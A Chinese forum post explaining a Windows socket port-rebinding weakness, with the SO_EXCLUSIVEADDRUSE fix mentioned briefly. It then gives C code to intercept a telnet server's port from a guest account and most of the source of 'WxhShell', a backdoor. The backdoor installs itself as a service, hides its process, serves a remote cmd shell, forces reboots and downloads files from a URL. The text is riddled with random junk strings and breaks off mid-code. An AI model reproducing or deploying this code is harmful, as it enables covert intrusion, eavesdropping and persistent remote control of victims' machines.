-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p Bu}c< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !83 N#Y_Mz 94rx4"AN8; saddr.sin_family = AF_INET; r6:nYyF$)v z3 fU|*_c saddr.sin_addr.s_addr = htonl(INADDR_ANY); FT gt$I m&_!*3BAG bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q^[SN LXc;`] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z= pvoTY BJZGQrsz 这意味着什么?意味着可以进行如下的攻击: /w*HxtwFmD w/fiNY5FZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ei@al>.\ E3_ 5~> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vgj[m4l vb\R~%@T, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H"V)dEm yyjgPbLN= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4?x$O{D5?{ H)+wkR!~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ':T"nORC bxww1NG>|Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W TC/mcS ;q2e[ y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qd
[Z\B vqwSOh|P9 #include xC$CRzAe5p #include _M[T8 "e( #include kQtnT7 #include YYd!/@|N5 DWORD WINAPI ClientThread(LPVOID lpParam); @|7e~U int main() O#b%&s"o { F[oTc^dr WORD wVersionRequested; g
_u
DWORD ret; TSP#.QY WSADATA wsaData; H|B4.z BOOL val; &qeMYYY SOCKADDR_IN saddr; H?'t>JX SOCKADDR_IN scaddr; =MMSmu5! int err; -(![xZ1{K SOCKET s; :]IYw!_-p SOCKET sc; !\1Pu| int caddsize; 8Jf4"; HANDLE mt; Lc13PTz>>g DWORD tid; J]4Uh_>) wVersionRequested = MAKEWORD( 2, 2 ); C?VNkBJ>\ err = WSAStartup( wVersionRequested, &wsaData ); ^y&sKO if ( err != 0 ) { NT [~AK9M printf("error!WSAStartup failed!\n"); =(>pv, return -1; By}>h6`[ } .
,n>#lL saddr.sin_family = AF_INET; LO
M-i> ;_=+h,n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y**|e4 I>z0)pB saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G![JRJxQ saddr.sin_port = htons(23); xsdi\
j;n> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >-Q=o,cl%3 { 5IiZnGu printf("error!socket failed!\n"); rnTjw
"% return -1; 'z3I*[! } H{j
jA+0 val = TRUE; g\lEdxm6Sj //SO_REUSEADDR选项就是可以实现端口重绑定的 O;?Nz:/q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )wueR5P { *b+~@o printf("error!setsockopt failed!\n"); #Vi:-zyY return -1; ORP-@-dap } X[KHI1@w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MF/@Efjn
] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nXx6L!H J# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `V?x
xq\ vo:52tCk}m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]2hF!{wc { i{Y=!r5r ret=GetLastError(); hY\Eh. printf("error!bind failed!\n"); Y&ct+w]% return -1; z^gDbXS } S3%.-)ib listen(s,2); x!Z:K5%O while(1) X67C;H+ { ~9`^72 caddsize = sizeof(scaddr); .0R/'!e //接受连接请求 l%-67( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rCnV5Yb0O if(sc!=INVALID_SOCKET) ;o~+2Fir { .{'Uvn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~:P8g<w
if(mt==NULL) qv
;1$ { SK2J`* printf("Thread Creat Failed!\n"); HJ2]Nz:
break; 0-;DN:> } %x cM_|AyR } } kh/mq CloseHandle(mt); X:xC>4]gG' } 7gZVg@ closesocket(s); dw{#|| WSACleanup(); L.I}-n return 0; |p=.Gg=2 } tF;& x
g DWORD WINAPI ClientThread(LPVOID lpParam) LX(iuf+l { &kXGWp SOCKET ss = (SOCKET)lpParam; M2zos(8g SOCKET sc; 1drqWI~ unsigned char buf[4096]; }Uqa8& SOCKADDR_IN saddr; (DELxE long num; @^XkU(m DWORD val; \M'bY: DWORD ret; ,
$D&WH //如果是隐藏端口应用的话,可以在此处加一些判断 j]ln
:?\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 @kCD. saddr.sin_family = AF_INET; J^F(] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <g/(wSl saddr.sin_port = htons(23); CL<KBmW7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -!bLMLIg { H>X\C;X[
printf("error!socket failed!\n"); 3wa<,^kqy return -1; &[W3e3Asra } vhE}{ED val = 100; NZ%~n:/V# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 28UL { #BT6bH08X ret = GetLastError(); x>8}|ou return -1; 1
">d|oC } 3q.[-.q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3<UDVt@0 { >m_p\$_ ret = GetLastError(); ~d#;r5> return -1; qeK } =Zb"T5E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @L>NN>?SGQ { .'NO~ printf("error!socket connect failed!\n"); 0P%|)Ae closesocket(sc); Y9co?!J 5M closesocket(ss); 1A/c/iC return -1; SFk11 } |>/&EElD while(1) s>M~g,xTU { x}8T[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nGJIjo_I //如果是嗅探内容的话,可以再此处进行内容分析和记录 $vbAcWj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >y06s{[ num = recv(ss,buf,4096,0); vA7jZw if(num>0) TLL[F;uZ send(sc,buf,num,0); J:-TINeB else if(num==0) M@2Qn-I break; 8yo6v3JqC num = recv(sc,buf,4096,0);
!K^Z5A_; if(num>0) LG@c)H74 send(ss,buf,num,0); 'B<qG<> else if(num==0) M?4r 5R break; 8|-mzb& } 2}#wdJ` closesocket(ss); 6_&6'Vq closesocket(sc); ?D^,K`wY=B return 0 ; `@.s!L(V } Sp$x%p0 e'?doP xdBZ^Q ========================================================== <iprPk "KI,3g _V 下边附上一个代码,,WXhSHELL }v$=mLy =wR]X*Pan ========================================================== g(Xg%&@KZ IweK!,:>dN #include "stdafx.h" |KrG3-i3X ONe!'a0 #include <stdio.h> 6 r-n6#= #include <string.h> Gx* 0$4xJ3 #include <windows.h> *=0r>] #include <winsock2.h> M^JZ]W( #include <winsvc.h> W*DIW;8p #include <urlmon.h> %FI6\|`M .rB;zA;4S) #pragma comment (lib, "Ws2_32.lib") z&vms #pragma comment (lib, "urlmon.lib")
nIDsCu=A 6'*Uo:] #define MAX_USER 100 // 最大客户端连接数 DUliU8B}\ #define BUF_SOCK 200 // sock buffer dUtIAh-j #define KEY_BUFF 255 // 输入 buffer `rdfROKv 2GKU9cV*` #define REBOOT 0 // 重启 E!~2\qKT #define SHUTDOWN 1 // 关机 pBnf^Ew1 iai4$Y(% #define DEF_PORT 5000 // 监听端口 C<@1H>S4_ x)wt.T?eL #define REG_LEN 16 // 注册表键长度 K2MNaB #define SVC_LEN 80 // NT服务名长度 c@#zjJhW] Tocdh.H| // 从dll定义API m'"VuH?^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r~fl=2>yQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rJQ|Oi&1i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V>uW|6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [,$mpJCI j=QR*8* // wxhshell配置信息 *`pBQZn05O struct WSCFG { h:;eh int ws_port; // 监听端口 [*ovYpj^ char ws_passstr[REG_LEN]; // 口令 si.a]k/f int ws_autoins; // 安装标记, 1=yes 0=no =LY^3TlDj char ws_regname[REG_LEN]; // 注册表键名 Afhx`J1KO char ws_svcname[REG_LEN]; // 服务名 9.#R?YP$ char ws_svcdisp[SVC_LEN]; // 服务显示名 ];~[Olc char ws_svcdesc[SVC_LEN]; // 服务描述信息 V+~{a:8[pq char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _"bvT?| int ws_downexe; // 下载执行标记, 1=yes 0=no ',s7h" char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" K}3"K C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !enz05VW6. LF.~rmPa }; '<D}5u72 H08YMP>dc // default Wxhshell configuration Pc4cSw#5 struct WSCFG wscfg={DEF_PORT, &0Zk3D4 "xuhuanlingzhe", rWpfAE)! 1, '?GZ"C2 "Wxhshell", 9+Bq00-Z$ "Wxhshell", pcTXTy 28 "WxhShell Service", a(T4WDl^ "Wrsky Windows CmdShell Service", g}r5ohqC# "Please Input Your Password: ", IMrOPwjc 1, !rGI), " http://www.wrsky.com/wxhshell.exe", G/44gKl "Wxhshell.exe" A?KKZ{Pl }; y/VmjsN} ']e4! // 消息定义模块 B_jI!i{N%o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \JC(pn char *msg_ws_prompt="\n\r? for help\n\r#>"; <[l}^`IC^4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; &YP>"< char *msg_ws_ext="\n\rExit."; TsW6 w char *msg_ws_end="\n\rQuit."; k r^#B^ char *msg_ws_boot="\n\rReboot..."; 2czL 1Ci char *msg_ws_poff="\n\rShutdown..."; Qh%vh;|^ char *msg_ws_down="\n\rSave to "; J&1N8Wk) R:x04!} char *msg_ws_err="\n\rErr!"; CGl+!t{ char *msg_ws_ok="\n\rOK!"; D ,^
U%<` 2;r^~: char ExeFile[MAX_PATH]; g c=|<( int nUser = 0; 4<Y[L'UaA@ HANDLE handles[MAX_USER]; 8k'em/M~ int OsIsNt; tO3B_zC 3PeJPw SERVICE_STATUS serviceStatus; :u93yH6~8 SERVICE_STATUS_HANDLE hServiceStatusHandle; q`zR 6 V t;&2v // 函数声明 n :kxG int Install(void); k-0e#"B int Uninstall(void); Y%8QFM int DownloadFile(char *sURL, SOCKET wsh); .sMi"gg int Boot(int flag); =J\7(0Dz4t void HideProc(void); ]xs\,}I% int GetOsVer(void); u{G6xuPWf int Wxhshell(SOCKET wsl); @Q5^Q'! void TalkWithClient(void *cs); ga%77t|jm3 int CmdShell(SOCKET sock); "$9ZkADO int StartFromService(void); yY|U}]u!V int StartWxhshell(LPSTR lpCmdLine); kp"cHJNx ]UTP~2N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5J3kQ;5Q? VOID WINAPI NTServiceHandler( DWORD fdwControl ); _~"3
LB |3@]5f& // 数据结构和表定义 =wc[r?7 SERVICE_TABLE_ENTRY DispatchTable[] = {'[1I_3 { 4f5$^uN$qA {wscfg.ws_svcname, NTServiceMain}, w"J(sVy4 {NULL, NULL} ](pD<FfS]' }; .quc i(D cFQa~ // 自我安装 ~46ed3eGzi int Install(void) Ho|n\7$ { q~lW char svExeFile[MAX_PATH]; dRmTE HKEY key; -B!pg7>'## strcpy(svExeFile,ExeFile); (re D t&]IgF // 如果是win9x系统,修改注册表设为自启动 cj)~7 WF if(!OsIsNt) { 0Jrk(k! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @hv]
[(< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b%F*N r RegCloseKey(key); !)]3@$# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~@bKQ>Xw
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); To+{9"$, RegCloseKey(key); WMg^W( return 0; 2UquN0 } ,58[WZG } Qn7 e6u@V } _{aVm&^kA else { +TX]~k79Oq MDpXth7 // 如果是NT以上系统,安装为系统服务 )
AIZE?oX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V
RL6F2 >6 if (schSCManager!=0) E {MSi" { ,MJZ*"V/3 SC_HANDLE schService = CreateService QX4I+x~oo\ ( lbY>R@5 schSCManager, 4^5s\f B wscfg.ws_svcname, ZO~N|s6B^ wscfg.ws_svcdisp, h)rHf3: SERVICE_ALL_ACCESS, C-7.Sa
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Ev } v SERVICE_AUTO_START, -T>`PJpJuL SERVICE_ERROR_NORMAL, @`{UiTNX` svExeFile, Q.
>"@c[ NULL, UcZ3v]$I NULL, G2rvi=8= NULL, K;Ktx>Z/ NULL, $8Zw<aEJ NULL lk}x;4]Z ); 1g@kHq if (schService!=0) `` ={FaV~m { X qh+ CloseServiceHandle(schService); &lD4-_2J CloseServiceHandle(schSCManager); {5*5tCIt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q7;)&_' strcat(svExeFile,wscfg.ws_svcname); 3^Ex_jeB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~7*HZ:. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6^p6v RegCloseKey(key); =3@^TW(j return 0; czj[U|eB}= } 0-@waK } vi'K|[!? CloseServiceHandle(schSCManager); _L"rygit } kAqk~. } T+\BX$w/4e p7z#4 GW return 1; ?p5Eo{B } TGg* (6'z EV9m\'=j // 自我卸载 P~~RK&+i int Uninstall(void) Axr'zc { JO
_a+Yl HKEY key; bBZvL 9Y7 tI3 if(!OsIsNt) { ALFw[1X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wc;5tb# RegDeleteValue(key,wscfg.ws_regname); S"lcePN RegCloseKey(key); Dj[D|%9a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dhq7qz RegDeleteValue(key,wscfg.ws_regname); '0[l'Dt' RegCloseKey(key); "zr%Q'Ky return 0; (A1 !)c } $u>^A<TBN } p.zU9rID } )xi|BqQz else { J?%Z7&/M> g|W~0A@D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bs^W0K$uBO if (schSCManager!=0) 0\.y0
K8 { #u#s'W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZM<1;!i if (schService!=0) :kgwKuhL { vq x;FAqZ if(DeleteService(schService)!=0) { !]W6i]p CloseServiceHandle(schService); ]Dx5t& CloseServiceHandle(schSCManager); c!s{QWd% return 0; J`\%'pEn } !DLIIKO78 CloseServiceHandle(schService); ~aBALD0D; } y9:|}Vh CloseServiceHandle(schSCManager); @UD6qA } HrUQ X4 } pr2b<(Pm 7[wHNJ7)r return 1; ZX0ZN2 ] } H*DWDJxmV D2`tWRm0 // 从指定url下载文件 @?A39G{ int DownloadFile(char *sURL, SOCKET wsh) asDq(J`sQ { Cz2OGM*mz? HRESULT hr; %=:*yf>} char seps[]= "/"; \4RVJ[2 char *token; =|lKB; char *file; OIK14D: char myURL[MAX_PATH]; "JLKO${ Y char myFILE[MAX_PATH]; $td=h)S^` D{&0r.2F strcpy(myURL,sURL); LLn,pI2fL{ token=strtok(myURL,seps); =#@eDm% while(token!=NULL) SCClD6k=V { c5K@<=?,E file=token; }s_'q~R token=strtok(NULL,seps); aI$D
qnF4 } nR7 usL !c`KzqP GetCurrentDirectory(MAX_PATH,myFILE); >^#OtFHuT) strcat(myFILE, "\\"); H+:SL $+<o strcat(myFILE, file); FhZ^/= As send(wsh,myFILE,strlen(myFILE),0); y$VYWcFE send(wsh,"...",3,0); 8Z TN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 93="sS if(hr==S_OK) $M F
U9<O return 0; ""[(e0oA else <#U9ih
2 return 1; ^goa$uxU 4Gl0h'!( } j)K[A%( (_G&S~@. // 系统电源模块 N9LBji;nH int Boot(int flag) }gL:"C"~ { :uhU<H<,f HANDLE hToken; Uc,D&Og TOKEN_PRIVILEGES tkp; {awv=s
4\'1j|nS[ if(OsIsNt) { Y<('G5A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C?@vBM} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pvL)BD tkp.PrivilegeCount = 1; o>rsk
6lNi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >ZMB}pt` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P" +!mSe^~ if(flag==REBOOT) { 06@^knm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :;[pl|}tM return 0; xWk:7 ,/ } ""cnZZ5) else { ^LfN6{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `.3! return 0; W}&[p=PAS } *?|LE
C } R=uzm=&nR else { @Qw~z0PE<l if(flag==REBOOT) { oRl~x^[%[- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2=Sv# return 0; N{ L'Q0! } Vfkm{*t) else { ML6Y_|6
| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s Xyc _3N return 0; ^0A}iJL } RTN?[` } %@/"BF;r 0k]$ he;h return 1; I'pOB } wf47Ulx cj
?aCVa // win9x进程隐藏模块 Jg3OMUt void HideProc(void) uSnG= tB { p;;4b@ >eX&HS oy HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hh^EMQk if ( hKernel != NULL ) Yj%hgb:) { e/+_tC$@p@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "R8: s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P#^-{;Bu FreeLibrary(hKernel); 9a\H+Y~ } Ir%L%MuR] {wUbr ^ return;
s3nt12 } X`/3X}<$7 "*08?KA // 获取操作系统版本 m9yi:zT% int GetOsVer(void)
|tK_Bn { X`-7: !+ OSVERSIONINFO winfo; 2xPkQOj3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;/ wl.'GA GetVersionEx(&winfo); 9;W2zcN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PE!/ n6 return 1; X#;n Gq)5 else ;Fo%R$y return 0; .bdp=vbA } O|Sbe%[*wW ^?+qNbK // 客户端句柄模块 _*&I[%I5 int Wxhshell(SOCKET wsl) .AB n$ml] { y!z2+q2 SOCKET wsh; %}.4c8 struct sockaddr_in client; e>F i DWORD myID; " V[=U13 *lZ;kW(}p while(nUser<MAX_USER) o7gYj\ { !sknO53`H` int nSize=sizeof(client); "Wz8f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y"{L&H ` if(wsh==INVALID_SOCKET) return 1; PpXzWWU": V /.Na(C~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b]0]*<~y if(handles[nUser]==0) jF$bCbAUce closesocket(wsh); D_SXxP[! g else $ol]G`+ nUser++; 8+f{ / } R"wBDWs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N_:H kI6 0Cg}yy Oz return 0; |~K 5] } [Xa,| lr*p\vH // 关闭 socket |?cL>]t void CloseIt(SOCKET wsh) bUzo> fm_ { Wtwo1pp closesocket(wsh); c;X%Ar nUser--; c>|1%}"? ExitThread(0); @$Xl*WT7 } (jyT9'*wAT }s7@0#j@a // 客户端请求句柄 4Wd
H!z void TalkWithClient(void *cs) {gC?kp { Af"p:;^z 6%a9%Is!O SOCKET wsh=(SOCKET)cs; 7z2Q!0Sz char pwd[SVC_LEN]; |Q(3rcOrV" char cmd[KEY_BUFF]; }WA= char chr[1]; 8aqH;|fG} int i,j; } =p e;l e**<et. while (nUser < MAX_USER) { n2(`O^yd7C aMJW__, if(wscfg.ws_passstr) { <.Dg3RH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8I}ATc
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +=`*`eP:U //ZeroMemory(pwd,KEY_BUFF); GI<3L K\ i=0; [t6Y,yo&h4 while(i<SVC_LEN) { */APe# ]@I>OcH // 设置超时 O[|_~v:^ fd_set FdRead; OcE,E6LD struct timeval TimeOut; S"cim\9xP FD_ZERO(&FdRead); dw-o71(1d FD_SET(wsh,&FdRead); h3[x ZJO TimeOut.tv_sec=8; FvJkb!5*e_ TimeOut.tv_usec=0; uhm3}mWv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); to{7B7t>q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FfX*bqy dC/@OV)0# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S-[S?&c` pwd =chr[0]; 5^97#;Q;J" if(chr[0]==0xd || chr[0]==0xa) { Zet80|q pwd=0; FN<Sagj break; \>tx:;D3 } -uNM_|MO i++; $!vK#8-&{ } {pXqw'"1. U;=1v:~d // 如果是非法用户,关闭 socket m@W>ku if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 489xoP } [7\x(W-:@> /?1^&a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wzF%R{; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n}dLfg* #]h&GX while(1) { cR=o!2O @Hl+]arUh ZeroMemory(cmd,KEY_BUFF); iEx4va-j RB9ZaL\ // 自动支持客户端 telnet标准 ]wUH*\(y j=0; *LEI@ while(j<KEY_BUFF) { F+]cFx,/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6lL^/$] cmd[j]=chr[0]; B%WkM\\!^ if(chr[0]==0xa || chr[0]==0xd) { :eH\9$F`x; cmd[j]=0; WFTwFm6 break; Nj.;mr< } 4N5\sdi j++; E"7[|-`e6 } pV`/6
} mRy0zN>? // 下载文件 m86ztP) if(strstr(cmd,"http://")) { ~
\b~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); :m<#\!? if(DownloadFile(cmd,wsh)) 6%c]{eTd9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8js1m55KT else $U^ Ms!'L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IS{>(XT{ } D|C!KF ( else { `Z@qWB< )\izL]=!t switch(cmd[0]) { #("E)P -{*QjP;K // 帮助 7X/B9Hee case '?': { @Rqn&tA8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 99Nm? $g break; %F0.TR!!n } U]E~7C // 安装 vri<R8 case 'i': { Q\le3KB if(Install()) R36A_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[X^'zz} else cEPqcy
* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W_]onq6 break; RDu{U(! } 0ol*!@? // 卸载 {@X)=.Zf case 'r': { w"h3e if(Uninstall()) `Y<FR send(wsh,msg_ws_err,strlen(msg_ws_err),0); JjH141 n%D else sH{(=N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $?|$uMIafp break; T5TAkEVl } x?G"58 // 显示 wxhshell 所在路径 AUm5$;o,/ case 'p': { z
dUSmb char svExeFile[MAX_PATH]; Cfst)[j strcpy(svExeFile,"\n\r"); K!|J/W strcat(svExeFile,ExeFile); qZh}gu*> send(wsh,svExeFile,strlen(svExeFile),0); 8]% e[ break; `R_;n#3F0 } 3m/XT"D // 重启 k :`yxxYIh case 'b': { {bO
O?pp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 03dmHg.E!E if(Boot(REBOOT)) 9h0Y">}`b send(wsh,msg_ws_err,strlen(msg_ws_err),0); qbD[<T else { I73=PfS:m closesocket(wsh); Ou2p^:C( ExitThread(0); !s[[X5 } 7SJtW`~ break; !TPKD } <2fgao&-n // 关机 @*5(KIeeC> case 'd': { '"]U+aIg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =$F<Ac;& if(Boot(SHUTDOWN)) PI$K+}E send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")eY{C else { \~I>@SG2W+ closesocket(wsh); EVDcj,b"^ ExitThread(0); %"BJW } 9%^O-8! break; ~qezr\$2 } wF$z ?L // 获取shell ]YKxJ''u case 's': { . MH;u3U CmdShell(wsh); D`2w>{Y closesocket(wsh); r5'bt"K\> ExitThread(0); (A\\s$fE/1 break; `clp#l.ii } I@:"Qee // 退出 :r}C&3 case 'x': { #=
@?)\~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E{{Kzr2$ CloseIt(wsh); aQglA break; QEc4l[^{.B } "*ww>0[ // 离开 -Rbv#Y case 'q': { Pd;G c@'~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); A/ 88WC$v closesocket(wsh); 7,5Bur WSACleanup(); my%MXTm2 exit(1); .pyNET break; y1 a1UiHGP } /^=8?wK } lwm
9gka } /-Z}= *g[MGyF" // 提示信息 /o9
0O& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s%^@@Dk } 3a}53?$ } Y]bS=*q w/csLi.O return; 1C(sBU" } w$"^)EG,7 z['2 // shell模块句柄 Lwn int CmdShell(SOCKET sock) )Bu#ln" { cc 0Tb STARTUPINFO si; sq?js#C5 ZeroMemory(&si,sizeof(si)); a]
7nK+N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =:'\wx
X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P=R-1V PROCESS_INFORMATION ProcessInfo; ZP'0= char cmdline[]="cmd"; -quJX;~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q1Mt5O} return 0; P|t2%:_ } B[9y<FB+ 0[E\h // 自身启动模式 Q hdG(`PY~ int StartFromService(void) K
#}t\ { R5&<\RI0 typedef struct Y=t?"E { p}8?#5`/w DWORD ExitStatus; g)7@EU2 DWORD PebBaseAddress; VxtX%McK DWORD AffinityMask; a[p$e?gka DWORD BasePriority; .q1y)l-^Z ULONG UniqueProcessId; TjHt:%7. ULONG InheritedFromUniqueProcessId; `\GRY @cg } PROCESS_BASIC_INFORMATION; <<R2
